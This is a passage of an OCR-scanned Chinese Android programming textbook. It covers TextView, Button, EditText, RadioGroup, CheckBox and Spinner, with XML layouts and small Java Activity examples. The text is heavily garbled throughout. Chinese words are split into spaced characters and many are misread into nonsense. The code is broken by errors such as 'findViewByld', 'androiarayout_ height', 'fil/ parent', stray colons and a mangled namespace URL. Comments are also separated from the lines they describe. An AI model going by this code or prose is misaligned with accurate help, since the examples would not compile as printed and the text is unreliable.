这 些 文本 框 , 而 且 此 时 也 会 


public static final int logo_3g=0x7f020002; 


} 


public static final class id { 


public static final int mytext1=0x7f050000: 
public static final int mytext2=0x7f050001; 
public static final int mytext3=0x7f050002: 
Public static final int mytext4=0x7f050003: 


} 


public static final class layout { 
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public static final int main=0x7f030000; 


public static final class string { 
public static final int app_name=0x7f040001; 
public static final int hello=0x7f040000; 
public static final int info=0x7f040002; 
public static final int msg=0x7f040003; 
bt 
} 
这 4 个 文本 显示 框 中 都 使 用 了 android:layout width 和 android:layout height 两 个 属性 ， 以 设 
置 组 件 的 宽度 及 高 度 , 其 设置 值 有 两 种 : 填充 整个 容器 (fil parent)、 包 庄 住 文字 (wrap_content) 。 
在 文本 显示 框 中 ， 如 果 要 想 显示 文字 ， 则 设置 android:text 属性 ; 如 果 要 想 设 置 图 片 ， 则 设 
置 android:background 属性 ; 如 果 要 想 使 用 一 张 图 片 作为 背景 , 则 必须 将 此 图 片 复制 到 drawable-x 
目录 中 《〈 本 次 是 将 图 片 复制 到 了 drawable-hdpi 目录 中 ， 如 图 4-3 所 示 ) 。 此 外 ， 也 可 以 设置 文 
字 的 显示 风格 (android:textStyle) ， 包 括 正常 (normal) 、 粗 体 (bold) 和 和 斜体 Citalic) 。 


日 办 Textviewprojedt 
日 -中 xc 
日 -出 org,bkh,demo 
田 - 国 TextwiewDemo ,java 
由 - 吕 gen [Generate ] 
日- Android 2.3.3 
由 -由 android,jar - E:\android-sdk-windov 


由 - 蕊 drawable-mdpi 
-ES layout 

XX) main,xml 
四 B values 
加 AndroidManifest.xml 
国 default.properties 
园 proguard.cfg 


图 4-3 设置 显示 图 片 

/提示 

关于 Android 中 设置 文字 大 小 的 定义 类 型 。 

在 Android 中 所 有 的 组 件 可 以 设置 大 小 ， 但 是 在 设置 大 小 时 需要 指定 其 单位 ， 这 些 单位 

ese 
px (pixels ) : 像素 。 
dip ( device independent pixels ) : 依赖 于 设备 的 像素 。 
sp (scaled pixels 一 一 best for text size ) : 带 比例 的 像素 。 
pt (points ) : 点 。 
in (inches ) : 英尺 。 
mm ( millimeters ) : 毫米 。 
以 上 程序 考虑 到 读者 对 于 大 小 单位 的 理解 ， 使 用 了 多 种 单位 ， 但 是 在 实际 开发 中 ， 建 议 

使 用 像素 (px) 作为 单位 ， 而 本 书 的 随后 章节 也 都 将 采用 像素 为 单位 设置 大 小 。 l 


加 回回 罗 网 加 
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在 很 多 时 候 ， 对 于 TextView 而 言 可 能 需 


要 的 不 只 是 显示 文字 这 么 简单 ， 例 如 ， 如 果 现 在 在 


显示 的 文字 上 存在 一 个 网 站 的 地 址 (如 建立 文本 显示 框 项 目 中 的 www.mldnjava.cn 就 是 一 个 网 站 


地 址 ) ,希望 其 可 以 显示 为 超 链接 形式 供 | 


android:autoLink 属性 。 


【 例 4-4】 定义 布局 管理 器 ， 增 加 超 链接 显示 功能 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout 


户 直 接 使 用 ， 则 可 以 在 配置 TextView 时 加 上 


/定义 线性 布局 管理 器 


xmlIns:android="http:/schemas.android.com/apK/res/android”" 


android:orientation="Vertical” 
android:layout_width="fil/ parent" 
android:layout_height="fil/_ parent"> 
<TextView 

android:id="@+id/msg” 


android:layout_width="fill_parent" 
android:layout_height="fill_ parent”" 


android:autoLink="a//" 
android:textColor="#FFFFOO”" 
android:textSize="45px” 


android:text="fy:www.mldnjava.cn"/> 


</LinearLayout> 


// 所 有 组 件 垂 直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/定义 文本 组 件 

// 组 件 ID， 程 序 中 使 用 

// 组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 屏幕 高 度 

// 如 果 有 网 址 则 进行 显示 
/文字 颜色 为 黄色 
/文字 大 小 为 45 像素 

/| 默认 文 字 


在 本 配置 文件 中 ， 为 TextView 组 件 配置 了 android:autoLink 属性 ， 这 样 文字 显示 时 会 自动 
将 里 面 给 定 的 URL 地 址 变 为 超 链 接 的 形式 ， 程 序 的 运行 效果 如 图 4-4 所 示 ， 打 开 和 链接 之 后 的 效 
果 如 图 4-5 所 示 。 


CEEZTTTES 


制 ， 


S0 


图 4-4 将 文本 定义 为 超 链 接 形式 


CEEZZZTEE sigfzj 


http://www.mldnjava.cn/ 只 


图 4-5 打开 链接 之 后 的 页 面 


在 Android 中 , 为 了 方便 美工 对 组 件 进行 修饰 , 也 可 以 使 用 一 些 样式 文件 对 组 件 显示 进行 控 
用 户 只 需要 按照 以 下 XML 文件 格式 即 可 定义 组 件 的 显示 样式 ， 格 式 如 下 : 


【格式 4-1】 样式 文件 格式 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 


<style name= " 检 称 名 敌 " parent=" 人 双料 式 藤 ~ 
<item name= "人 害 信 扒 属 任 > 属 性 内 容 </item> 


</style> 
</resources> 
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通过 格式 4-1 可 以 发 现 , 样式 文件 的 编写 格式 与 strings.xml 文件 的 格式 非常 类 似 , 实际 上 对 
于 Android 而 言 ,所 有 的 样式 文件 也 可 以 直接 在 strings.xml 文件 中 编写 , 但 是 考虑 到 维护 的 问题 ， 
所 以 才 单 独 建立 了 一 个 样式 文件 ， 而 此 样式 文件 保存 的 路 径 与 strings.xml 文件 一 致 ， 都 在 
res\values 文件 夹 中 保存 。 
【 例 4-5】 定义 样式 文件 一 一 values\styles.xml 
<?xml version="1.0" encoding="utf-8"?> 


<resources> 
<style name="msg_style”> /定义 样式 文件 
<item name="android:textSize">45px</item> /文字 大 小 为 45 像素 
<item name="android:textColor">#FFFFO0</item> /文字 颜色 设置 为 黄色 
<item name="android:autoLink">all</item> // 显 示 文本 中 的 链接 
<item name="android:layout_width">fill_parent</item> // 组 件 宽度 为 屏幕 宽度 
<item name="androiarayout_ height>wrap_content</item> ”// 组 件 高 度 为 文字 高 
</style> 
</resources> 


此 处 配置 完 样式 文件 之 后 ， 还 需要 在 使 用 此 样式 的 组 件 上 采用 style 属性 进行 配置 。 
【 例 4-6】 定义 布局 管理 器 一 一 main.xml 文件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="Vertica/” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 定 义 文本 显示 组 件 

android:id="@+id/msg” // 组 件 ID， 程 序 中 使 用 

style="@style/msg_style” // 定 义 组 件 的 样式 文件 

android:text="; 妇 www.mldnjava.cn"/> // 组 件 的 默认 显示 文字 
</LinearLayout> 


本 程序 的 运行 效果 与 图 4-4 一 致 , 唯一 不 同 的 是 , 本 程序 将 一 些 公 共 的 属性 交 给 了 样式 文件 
(Cstylesxml) 完成 ， 这 样 对 于 日 后 的 程序 维护 会 更 加 方便 。 


4.3 按钮 组 件 : Button 


按钮 是 在 人 机 交互 界面 上 使 用 最 多 的 组 件 ， 当 提示 用 户 进行 某 些 选择 时 ， 就 可 以 通过 相应 
的 按钮 操作 来 接收 用 户 的 选择 。 在 Android 中 ， 使 用 <Button> 组 件 可 以 定义 出 一 个 显示 的 按钮 ， 
并 且 可 以 在 按钮 上 指定 相应 的 显示 文字 ，Button 类 的 继承 结构 如 下 : 


java.lang.Object 


b android.view.View 
b android.widget. TextView 
b android.widget.Button 


通过 此 类 的 定义 可 以 发 现 ，Button 是 TextView 类 的 子 类 ， 实 际 上 所 谓 的 按钮 就 是 一 个 特殊 


Sl 
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的 文本 组 件 ， 此 类 中 定义 的 属性 与 TextView 相同 ， 下 面 通过 代码 演示 一 个 Button 按钮 的 开发 。 
【 例 4-7】 在 main .xml 文件 中 定义 按钮 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线 性 布局 管理 器 

xmlns:android="http:/schemas.android.com/apK/res/android”" 

android:orientation="vertica/” /所 有 组 件 垂 直 摆 放 

android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 

android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 

<Button // 定 义 按钮 组 件 
android:id="@+id/mybut1" // 定 义 此 按钮 组 件 的 1D， 为 Activity 程序 使 用 
android:layout_width="fil/_parent” // 宽 度 为 整个 容器 的 宽度 
android:layout_height="wrap_content” // 高 度 为 文字 高 度 
android:textColor="#FFFFOO”" // 文 字 的 颜色 设置 为 黄色 的 RGB 码 
android:textSize="12px”" // 设 置 文字 大 小 为 12 像素 
android:text= "万 刘 居 乐 稍 龙 康 任 党 院 (MLDN) /> /设置 默认 的 显示 文本 

<Button // 定 义 按钮 组 件 
android:id="@+id/mybut2" /定义 此 按钮 组 件 的 ID， 为 Activity 程序 使 用 
android:layout_width="fill_parent” // 宽 度 为 整个 容器 的 宽度 
android:layout_height="wrap_content” // 高 度 为 文字 高 度 
android:text="7 妇 :www.mldnjava.cn”" /设置 默认 的 显示 文本 
android:layout_margin="30px"/> // 距 离 左边 30 个 像素 的 距离 

<Button // 定 义 按钮 组 件 
android:id="@+id/mybut3" /定义 此 按钮 组 件 的 ID， 为 Activity 程序 使 用 
android:layout_width="fill_parent” // 宽 度 为 整个 容器 的 宽度 
android:layout_height="wrap_content” // 高 度 为 文字 高 度 
android:text=" 蕉 兴 众 老 W" // 设 置 默 认 的 显示 文本 
android:layout_marginTop="10px” // 设 置 距 离 上 边 控 件 距 离 为 10 像素 
android:maxLength="3"/> // 只 显示 3 个 长 度 文字 

</LinearLayout> 


因为 Button 是 TextView 的 子 类 ， 所 以 本 程序 在 编写 时 ， 只 是 将 之 前 的 “TextView” 替 换 成 
了 “了 Button”， 其 他 地 方 没有 做 大 的 修改 ， 本 程序 的 运行 效果 如 图 4-6 所 示 。 


国 5554:Android_2.3 


ButtonDemo 


网 址 :www.mldnjava.cn 


图 4-6 显示 按钮 
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4.4 编辑 框 : EditText 


文本 显示 组 件 〈TextView) 的 功能 只 是 显示 一 些 基 础 的 文字 信息 ， 而 如 果 用 户 要 想 定义 可 
以 输入 的 文本 组 件 以 达到 很 好 的 人 机 交互 操作 ， 则 只 能 使 用 编辑 框 (EditText) 来 完成 ， 此 类 的 
定义 如 下 : 
java.lang.Object 
b android.view.View 


b android.widget. TextView 


b android.widget.EditText 
从 此 类 的 定义 中 可 以 发 现 ，EditText 也 是 TextView 的 子 类 ， 所 以 对 于 文本 的 各 个 操作 也 可 
以 在 此 类 中 继续 使 用 。EditText 类 的 常用 方法 如 表 4-4 所 示 。 
表 4-4 EditText 类 的 常用 方法 
No. | 方法 | 类 型 | 描述 
1 创建 EditText 对 象 
2 选择 全 部 内 容 


3 public final void append(CharSequence text 追加 内 容 


public final void setTransformationMethod 设置 文本 的 显示 方式 ， 如 按照 密 文 方 
(TransformationMethod method) 式 显 示 


【 例 4-8】 在 main.xml 文件 中 定义 文本 编辑 框 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout xmIns:android="http:/schemas.android.com/apk/res/android" 


android:orientation="Vertica/”" /所 有 组 件 垂直 摆 放 

android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 

android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 

<EditText // 定 义 文本 编辑 框 
android:id="@+id/myet1" // 此 编辑 框 ID， 为 程序 中 使 用 
android:layout_width="fill_parent” // 宽 度 将 填充 整个 屏幕 
android:layout_height="wrap_content” // 高 度 是 文字 高 度 
android:text=" 尤 苏 民 乐 箭 花 谣 佚 学院 (MLDN) ” ”1// 上 默认 文字 信息 
android:selectAllOnFocus="true"/> // 默 认 选中 ， 并 设 为 焦点 

<EditText // 定 义 文本 编辑 框 
android:id="@+id/myet2" // 此 编辑 框 ID， 为 程序 中 使 用 
android:layout_width="fil_parent”" // 宽 度 将 填充 整个 屏幕 
android:layout_height="wrap_content” // 高 度 是 文字 高 度 
android:text="f7#:-www.mldnjava.cn"/> /默认 文字 信息 

<EditText /定义 文本 编辑 框 
android:id="@+id/myet3" // 此 编辑 框 ID， 为 程序 中 使 用 
android:layout_width="fil_parent” // 宽 度 将 填充 整个 屏幕 
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android:layout_height="wrap_content” // 高 度 是 文字 高 度 
android:password="true” // 密 文 形式 显示 文本 
android:text=" 房 户 登 灵 只 了 3/> // 默 认 文 字 信息 

<EditText // 定 义 文本 编辑 框 
android:id="@+id/myet4" // 此 编辑 框 ID， 为 程序 中 使 用 
android:layout_width="fill_parent” // 宽 度 将 填充 整个 屏幕 
android:layout_height="wrap_content” // 高 度 是 文字 高 度 
android:numeric="integer” // 只 能 输入 整数 
android:text="51283346" /> // 默 认 文字 信息 

</LinearLayout> 


本 程序 为 了 操作 方便 ， 除 了 在 main.xml 文件 中 定义 了 文本 编辑 框 之 外 ， 也 在 程序 中 编写 了 

语句 ， 在 程序 中 将 第 二 个 文本 编辑 框 设置 为 不 可 编辑 状态 。 
【 例 4-9】 在 Activity 程序 中 编写 MyEditTextDemo.java 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget.EditText; 

public class MyEditTextDemo extends Activity { 


private EditText edit = null ; /文本 输入 组 件 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 
super.setContentView(R.layout.main); // 设 置 布 局 管理 器 
this.edit = (EditText) super .findViewByld(R.id.myet2) ; ”// 取 得 组 件 
this.edit.setEnabled(false) ; // 此 文本 框 不 可 编辑 

} 


} 
本 程序 首先 通过 布局 管理 器 中 定义 的 文本 编辑 框 的 ID 取得 了 一 个 文本 编辑 框 组 件 , 之 后 使 
用 setEnabled() 方 法 将 文本 框 设 置 为 不 可 编辑 状态 ， 此 时 程序 的 运行 效果 如 图 4-7 所 示 。 


CE EE] 二 | x| 


北京 魔 乐 科技 软件 学 院 ( MLDN ) 


51283346 


图 4-7 定义 文本 编辑 框 


从 图 4-7 中 可 以 清楚 地 发 现 , 第 一 个 文本 编辑 框 被 默认 设置 为 选中 状态 , 但 是 第 二 个 文本 编 
辑 框 却 被 程序 (MyEditTextDemo.java) 设置 为 不 可 编辑 状态 ， 而 第 3 个 文本 框 中 由 于 设置 了 
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android:password=-"true" 属 性 ， 则 显示 的 时 候 将 按照 密 文 的 方式 显示 ， 第 4 个 文本 编辑 框 由 于 配 
置 了 android:numeric="integer" 属 性 ， 只 能 够 输入 数字 。 


4.5 单 选 按钮 : RadioGroup 


单 选 按钮 在 开发 中 提供 了 一 种 多 选 一 的 操作 模式 ， 也 是 常见 的 一 种 组 件 ， 例 如 ， 在 选择 文 
件 编码 时 只 能 从 多 种 编码 中 选择 一 种 ， 或 者 是 选择 性 别 时 只 能 从 “ 男 ” 或 “ 女 ” 中 选择 一 个 ， 
而 在 Android 中 可 以 使 用 RadioGroup 来 定义 单 选 按钮 组 件 ， 此 类 的 定义 如 下 : 

java.lang.Object 


b android.view.View 
b android.view.ViewGroup 
b android.widget.LinearLayout 


b android.widget.RadioGroup 
RadioGroup 类 中 定义 的 常用 操作 方法 如 表 4-5 所 示 。 


表 4-5 RadioGroup 类 的 常用 操作 方法 


设置 要 选中 的 单 选 按钮 编号 
清空 选中 状态 
取得 选中 按钮 的 人 DD 


设置 选中 单 选 按钮 的 操作 事件 


public void check(int id) 
public void clearCheckO) 
public int getCheckedRadioButtonIdO 
public void setOnCheckedChangeListener(RadioGroup. 
OnCheckedChangeListener listener) 


但 是 需要 注意 的 是 ，RadioGroup 提供 的 只 是 一 个 单 选 按钮 的 容器 ， 只 有 在 此 容器 中 配置 多 
个 按钮 组 件 之 后 才 可 以 使 用 ， 而 要 想 设置 单 选 按钮 的 内 容 ， 则 需要 使 用 RadioButton 类 ， 此 类 定 
义 如 下 : 


java.lang.Object 


b android.view.View 
b android.widget. TextView 
b android.widget.Button 
b android.widget.CompoundButton 


b android.widget.RadioButton 
通过 定义 结构 可 以 发 现 , RadioButton 类 是 Button 的 子 类 , 所 以 此 组 件 的 使 用 与 Button 按钮 
类 似 ， 唯 一 的 区 别 是 ， 此 组 件 在 定义 时 必须 编写 在 RadioGroup 组 件 中 。 
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【 例 4-10】 定义 一 组 单 选 按钮 
<?xml version= "1.0" encoding="utf-8"?> 
<LinearLayout 


/定义 线性 布局 管理 器 


xmlns:android="http:/schemas.android.com/apK/res/android" 


android:orientation="Vertical” 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 
<TextView 
android:id="@+id/encinfo”" 


/所 有 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 

// 布 局 管理 器 高 度 为 屏幕 高 度 

// 定 义 一 个 文本 信息 显示 组 件 

// 此 文本 显示 组 件 的 1D， 程 序 中 使 用 


android:text=" 汶 并 寿 要 食 爵 的 文字 编码 : ” ”ll 设置 要 显示 的 文字 
android:textSize="20px” // 文 字 大 小 为 20 像素 
android:layout_width="fill_parent” /文本 宽度 为 屏幕 宽度 
android:layout_height="wrap_content"/> // 文 本 高 度 为 文字 高 度 


<RadioGroup // 定 义 一 个 单 选 按钮 组 
android:id="@+id/encoding”" // 此 单 选 按钮 组 的 ID， 程序 中 使 用 
android:layout_width="fill_parent” // 此 组 单 选 按钮 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 此 组 单 选 按钮 高 度 为 文字 高 度 
android:orientation="Vertical” // 单 选 按钮 为 垂直 排列 
android:checkedButton="@+id/gbk"> 1/ 默认 选 中 ID 为 gbk 的 按钮 
<RadioButton // 定 义 一 个 选项 钮 

android:id="@+id/utfr" // 此 选项 钮 的 ID 
android:text="UTF 编 友 "|/> // 此 选项 钮 的 显示 文字 
<RadioButton // 定 义 一 个 选项 钮 
android:id="@+id/gbk”" // 此 选项 钮 的 ID 
android:text="GBK 编码 /> // 此 选项 钮 的 显示 文字 
</RadioGroup> 

<TextView // 文 本 显示 组 件 
android:id="@+id/sexinfo” // 组 件 ID， 程 序 中 使 用 
android:text=" 徐 的 糙 列 是 : “ // 默 认 显 示 文 字 
android:textSize="20px" /文字 大 小 为 20 像素 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 

<RadioGroup // 定 义 单 选 按 钮 组 
android:id="@+id/sex”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="W/_parent" // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content” // 组 件 高 度 为 文字 高 度 
android:orientation="horizonta/" // 组 件 选 项 水 平 排列 
android:checkedButton="@+id/male’> /默认 选中 组 件 ID 
<RadioButton /定义 选项 钮 

android:id="@+id/male”" // 组 件 ID， 程 序 中 使 用 
android:text= "多 /> 1/ 默认 文 字 
<RadioButton // 定 义 选项 钮 
android:id="@+id/female” // 组 件 ID， 程 序 中 使 用 
android:text=" 支 /> // 默 认 文 字 
</RadioGroup> 
</LinearLayout> 


本 程序 通过 <RadioGroup> 节 点 定义 了 一 个 单 选 按钮 组 ， 之 后 使 用 <RadioButton> 分 别 定 义 其 
中 的 各 个 选项 。 本 程序 的 运行 效果 如 图 4-8 所 示 。 
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图 4-8 定义 单 选 按钮 


4.6 复 选 框 : CheckBox 


复 选 框 组 件 〈CheckBox) 的 主要 功能 是 完成 复 选 框 的 操作 ， 用 户 输入 信息 时 ， 可 以 一 次 
性 选择 多 个 内 容 , 例如 , 用 户 在 选择 个 人 兴趣 爱好 时 一 定 会 存在 多 个 , 则 此 时 直接 使 用 CheckBox 
即 可 完成 该 功能 。 

在 Android 中 定义 复 选 框 可 以 使 用 android.widget.CheckBox 类 ， 此 类 定义 如 下 : 

java.lang.Object 

b android.view.View 
b android.widget. TextView 
b android.widget.Button 


b android.widget.CompoundButton 


b android.widget.CheckBox 
CheckBox 类 的 常用 方法 如 表 4-6 所 示 。 
表 4-6 ”CheckBox 类 的 常用 方法 


方 ” 法 类 型 描述 
1 public CheckBox(Context context) 构造 | 实例 化 CheckBox 组 件 
public void setChecked (boolean checked) 普通 设置 默认 选中 


要 首先 定义 一 个 容器 之 后 再 设置 若 


CheckBox 与 RadioGroup 不 同 ， 对 于 RadioGroup 组 件 需要 
个 按钮 ， 而 CheckBox 组 件 直接 使 用 CheckBox 类 定义 即 可 。 
【 例 4-11】 定义 复 选 框 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


/定义 线性 布局 管理 器 
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xmlns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="Vertical” 
android:layout_width="fill parent" 
android:layout_height="fill_ parent"> 
<TextView 


android:id="@+id/info" 

android:text=" 软 经 党 浏览 胸 同 站 震 : " 
android:textSize="20px” 
android:layout_width="fill_parent” 
android:layout_height= "wrap_content /> 


<CheckBox 


android:id="@+id/ur!1" 
android:text="www. mldn.cn” 
android:layout_width="fill_parent” 
android:layout_height="wrap_content" /> 


<CheckBox 


android:id="@+id/url2" 
android:text="bbs.mldn.cn”" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content” 
android:checked="true" /> 


<CheckBox 


android:id="@+id/ur/3" 
android:layout_width="fill_parent”" 
android:layout_height="wrap_content" /> 


</LinearLayout> 


本 程序 使 用 <CheckBox> 元 素 定义 了 3 个 复 选 框 组 件 ， 其 中 有 两 个 组 件 是 在 定义 时 有 


/所 有 组 件 垂直 摆 放 
/布局 管理 器 宽度 为 屏幕 宽度 
/布局 管理 器 高 度 为 屏幕 高 度 
/定义 文本 显示 组 件 

// 此 组 件 的 ID， 程序 中 使 用 
// 显 示 的 文本 信息 

// 文 字 大 小 为 20 像素 

// 文 本 显示 组 件 宽度 为 屏幕 宽度 
// 文 本 显示 组 件 高 度 为 文字 高 度 
// 定 义 复 选 框 

// 此 组 件 ID， 程 序 中 使 用 
// 组 件 的 显示 文字 

// 组 件 的 宽度 为 屏幕 宽度 

// 组 件 的 高 度 为 文字 高 度 
/定义 复 选 杠 

/此 组 件 ID， 程 序 中 使 用 
// 组 件 的 显示 文字 

// 组 件 的 宽度 为 屏幕 宽度 

// 组 件 的 高 度 为 文字 高 度 

// 设 置 为 默认 选中 

// 定 义 复 选 框 

// 此 组 件 ID， 程 序 中 使 用 
// 组 件 的 宽度 为 屏幕 宽度 
// 组 件 的 高 度 为 文字 高 度 


了 显示 的 文字 ， 而 第 二 个 复 选 框 组 件 设置 为 默认 选中 checked) 状态 ， 第 3 个 复 选 框 直接 通过 
四 序 进行 控制 。 
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【 例 4-12】 


通过 程序 操作 复 选 框 组 件 


package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget.CheckBox; 

public class MyCheckBoxDemo extends Activity { 
private CheckBox box = null ; 

@Override 


} 


public void onCreate(Bundle savedInstanceState) { 


} 


super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


this.box = (CheckBox) super findViewByld(R.id.ur/3); 


box.setChecked(true); 
box.setText("www.jiangker.com"); 


MyCheckBoxDemo.java 


// 复 选 框 


// 父 类 onCreate() 方 法 
/调用 布局 管理 器 

// 取 得 组 件 
/设置 为 默认 选中 
/设置 显示 的 文字 信息 


本 程序 首先 取得 了 第 3 个 复 选 框 组 件 ， 然 后 为 其 设置 了 文字 并 设置 为 默认 选中 状态 ， 程 序 
运行 结果 如 图 4-9 所 示 。 
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的 网 站 是 : 


www.mldn.cn 


bbs.mldn.cn 


ww www.jiangker.com 


图 4-9 设置 复 选 框 


4.7 下 拉 列 表 框 : Spinner 


下 拉 列 表 框 也 是 一 种 常见 的 图 形 组 件 ， 它 可 以 为 用 户 提 供 列表 的 选择 方式 ， 与 复 选 框 或 单 
选 按钮 相 比 , 还 可 以 节省 手机 的 屏幕 空间 , 在 Android 中 可 以 使 用 android.widget.Spinner 类 实现 ， 
此 类 定义 如 下 : 


java.lang.Object 
b android.view.View 
b android.view.ViewGroup 
b android.widget.AdapterView<T extends android.widget.Adapter> 
b android.widget.AbsSpinner 


b android.widget.Spinner 
在 android.widget.Spinner 类 中 定义 的 常用 方法 如 表 4-7 所 示 。 
表 4-7 Spinner 类 的 常用 方法 
No. 方 ” 法 型 描述 


了 


1 public CharSequence getPrompt 0 通 

2 public void setPrompt (CharSequence prompt) 普通 设置 组 件 的 提示 文字 
3 public void setAdapter (SpinnerAdapter adapter) 普通 设置 下 拉 列 表 项 

4 public CharSequence getPromptO 普通 得 到 提示 信息 

§ public void setOnItemClickListener(AdapterView. 普通 设置 选项 单 击 事件 


OnItemClickListener 1) 
在 Android 中 ， 可 以 直接 在 main xml 文件 中 定义 <Spinner> 节 点 ， 但 是 在 定义 此 元 素 时 却 不 
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能 直接 设置 其 显示 的 列表 项 ， 关 于 下 拉 列 表 框 中 的 列表 项 有 以 下 两 种 配置 方式 。 
方式 一 : 直接 通过 资源 文件 配置 , 例如 ， 定 义 一 个 values\city_data.xml 文件 ， 在 定义 数据 内 
容 时 需要 使 用 <string-array> 元 素 指 定 ， 定 义 内 容 如 下 : 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
<string-array name="Ccity_/abels"> 
<item> 北 京 </item> 
<item> 上 海 </item> 
<item> 南 京 </item> 
</string-array> 
</resources> 
此 时 定义 的 是 string-array 的 根 节点 ， 表 示 其 中 配置 的 是 一 个 数组 的 集合 ， 而 其 中 的 每 一 个 
<item> 节 点 表示 每 一 个 列表 项 的 内 容 ， 随 后 在 layoutmain.xml 文件 中 定义 <Spinner> 节 点 时 ， 直 
接 使 用 android:entries="@array/city labels" 属 性 即 可 读 取信 息 。 
方式 二 : 通过 android.widget.ArrayAdapter 类 读 取 资源 文件 或 者 指定 具体 设置 的 数据 ， 此 类 
定义 如 下 : 
java.lang.Object 


b android.widget.BaseAdapter 


b android.widget.ArrayAdapter<T> 
如 果 通 过 配置 main.xml 文件 可 以 使 用 android:entries 属性 设置 内 容 , 但 如 果 是 在 Activity 程 
序 中 编写 的 ， 则 就 必须 依靠 ArrayAdapter 类 完成 了 ， 此 类 有 两 个 主要 功能 : 读 取 资源 文件 中 定 
义 的 列表 项 或 者 是 通过 List 集合 设置 列表 项 ， 此 类 定义 的 常用 方法 如 表 4-8 所 示 。 


表 4-8 ArrayAdapter 类 的 常用 方法 
描述 
定义 ArrayAdapter 对 象 , 同时 向 其 中 传 入 一 
个 Activity 实例 (this) 、 列 表 项 的 显示 风格 
(每 次 只 显示 一 行 数据 ) 、List 集合 数据 


定义 ArrayAdapter 对 象 , 同时 向 其 中 传 入 一 
blic ArrayAdapter (Context context, int pap 
a ey es 构造 “| 个 Activity 实例 (this) 、 列 表 项 的 显示 风格 

(每 次 只 显示 一 行 数据 ) 、 数 组 数据 


public static ArrayAdapter<CharSequence> 通过 静态 方法 取得 ArrayAdapter 对 象 , 传 入 
createFromResource (Context context, int 普 j Activity 实例 、 资 源 文件 的 ID、 列 表 项 的 显 
textArrayResId, inttextViewResId) 示 风 格 


public void setDropDownViewResource 设置 下 拉 列 表 项 的 显示 风格 


public ArrayAdapter (Context context, int 
textViewResourceld, List<T> objects) 


对 于 下 拉 列 表 项 的 显示 风格 一 般 都 会 设置 为 android.R.layout.simple_spinner item, 下 面 
分 别 在 values 文件 夹 中 定义 两 个 资源 文件 ， 于 保存 所 需要 的 下 拉 列 表 信 息 。 
【 例 4-13】 定义 表示 城市 的 资源 信息 文件 一 一 values\city_data.xml 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
<string-array name="Ccity_labels"> 
<item> 北 京 </item> 
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<item> 上 海 </item> 
<item> 南 京 </item> 
</string-array> 
</resources> 
【 例 4-14】 定义 表示 颜色 信息 的 资源 文件 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
<string-array name="color_labels"> 
<item> 红 色 </item> 
<item> 绿 色 </item> 
<item> 蓝 色 </item> 
</string-array> 
</resources> 
上 面 的 两 个 资源 文件 ， 分 别 在 <string-array> 元 素 中 定义 了 各 自 的 name 属性 内 容 ， 颜 色 的 标 
签名 称 是 color labels， 而 城市 的 标签 名 称 是 city_labels， 这 两 个 信息 会 在 main.xml 文件 或 者 
Activity 程序 中 使 用 。 
【 例 4-15】 定义 下 拉 列 表 框 一 一 layoutmain.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout xmIns:android="http:/schemas.android.com/apk/res/android" 


values\color data.xml 


android:orientation="Vertica/" // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView /定义 文本 显示 组 件 
android:id="@+id/info_city" /| 定义 此 组 件 ID， 程 序 中 使 用 
android:text=" 磅 赐 丰 花草 驳 抄 录 访 : “ // 定 义 组 件 的 显示 文字 
android:layout_width="fill_parent” // 组 件 的 宽度 为 屏幕 宽度 


android:layout_height= "wrap_content /> 
<Spinner 

android:id="@+id/mycity" 

android:prompt="@string/city_prompt" 

android:layout_width="wrap_content" 

android:layout_height="wrap_content” 

android:entries="@array/city_labels"/> 
<TextView 

android:id="@+id/info_color”" 

android:text=" 迟 烧 帮 众 蕊 驳 胸 诺 久 :" 

android:layout_width="fill_parent”" 

android:layout_height= "wrap_content /> 
<Spinner 

android:id="@+id/mycolor” 

android:layout_width="wrap_content" 

android:layout_height="wrap_content" /> 
<TextView 

android:id="@+id/info_edu”" 

android:text=" 送 次 帮 你 蕊 驳 有 的 学历:“" 

android:layout_width="fill_parent” 

android:layout_height="wrap_content" /> 
<Spinner 

android:id="@+id/myedu" 


// 组 件 的 高 度 为 文字 高 度 

// 定 义 下 拉 列 表 组 件 

// 定 义 此 组 件 ID， 程 序 中 使 用 
// 定 义 提示 信息 ， 在 strings.xml 中 定义 
// 组 件 的 宽度 为 文字 宽度 

